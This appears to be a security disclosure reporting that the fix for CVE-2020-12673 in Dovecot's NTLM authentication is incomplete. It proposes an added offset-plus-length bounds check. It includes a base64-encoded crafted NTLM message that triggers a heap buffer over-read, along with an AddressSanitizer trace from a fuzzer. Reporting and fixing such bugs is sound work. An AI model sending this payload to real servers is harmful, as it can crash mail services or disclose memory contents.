Open-Xchange: Incomplete fix for CVE-2020-12673 : Specially crafted NTML message leads to buffer over read

The vulnerability CVE-2020-12673 got fixed by
https://github.com/dovecot/core/commit/fb246611e62ad8c5a95b0ca180a63f17aa34b0d8
adding this check

	if (length > data_size) {
 		*error = "buffer length out of bounds";
 		return FALSE;
 	}

But this fix seems incomplete with regards to ntlmssp_t_str_i
The fix should also add

	if (offset + length > data_size) {
		*error = "buffer end out of bounds";
		return FALSE;
	}

As ntlmssp_t_str_i will try to read that much (using length and not space)

The first fix is still good as it limits the buffer over read to the amount of data sent
And if we only check the sum, we should take care of unsigned integer overflows.

A payload is the base64 decoding of

TlRMTVNTUAABAAAAPwr/AAAAAAAAAABOVExNU1NQAP1GxMTETE9HSU7FxDooxDooxMRZANDsB05UTE1TU1AAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALMEAACzBgAAAAAAAHEAAACvr6+vr6+vr6+vr6+vr6+vr6+vr6+vr68Vr6+vr6+vr6+vr6+vr6+vr6+vr6+vr6+vr6+vrwAAAAAAAAAAAAAAAB8AAAAAAAAAAAAAP/UfAIAABQUnAABGxMTExMXExEmenp6enp6eEABOVLpMnp6enp6enp6enp6enk1TU56engAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

We get a 2048 buffer from mech-ntlm.c pool = pool_alloconly_create(MEMPOOL_GROWING"ntlm_auth_request", 2048);
We have offset = 0x6b3 and length = 0x4b3, both lesser than 0x7c7 the size (lesser itself than 2048), but their addition is bigger than 0x7c7

My stack trace is

==13616==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000006c81 at pc 0x000106bac72d bp 0x7ffee911cfe0 sp 0x7ffee911cfd8
READ of size 1 at 0x61d000006c81 thread T0
    #0 0x106bac72c in ntlmssp_t_str_i ntlm-message.c:36
    #1 0x106b70527 in mech_ntlm_auth_continue mech-ntlm.c:221
    #2 0x106ae3cd3 in LLVMFuzzerTestOneInput fuzz-auth-server.c:163
    #3 0x106b0045a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) FuzzerLoop.cpp:553
    #4 0x106ae9ed4 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) FuzzerDriver.cpp:292
    #5 0x106aef0dc in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) FuzzerDriver.cpp:775
    #6 0x106b08ed2 in main FuzzerMain.cpp:19
    #7 0x7fff60f0f014 in start (libdyld.dylib:x86_64+0x1014)

0x61d000006c81 is located 1 bytes to the right of 2048-byte region [0x61d000006480,0x61d000006c80)
allocated by thread T0 here:
    #0 0x1075ea497 in wrap_calloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57497)
    #1 0x106fcfda0 in block_alloc mempool-alloconly.c:368
    #2 0x106fd0354 in pool_alloconly_malloc mempool-alloconly.c:395
    #3 0x106b7048c in mech_ntlm_auth_continue mech-ntlm.c:218
    #4 0x106ae3cd3 in LLVMFuzzerTestOneInput fuzz-auth-server.c:163
    #5 0x106b0045a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) FuzzerLoop.cpp:553
    #6 0x106ae9ed4 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) FuzzerDriver.cpp:292
    #7 0x106aef0dc in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) FuzzerDriver.cpp:775
    #8 0x106b08ed2 in main FuzzerMain.cpp:19
    #9 0x7fff60f0f014 in start (libdyld.dylib:x86_64+0x1014)

SUMMARY: AddressSanitizer: heap-buffer-overflow ntlm-message.c:36 in ntlmssp_t_str_i

This report is not perfect, but you may want to know this quickly

Impact

The buffer over read can lead to sensitive data disclosure or a crash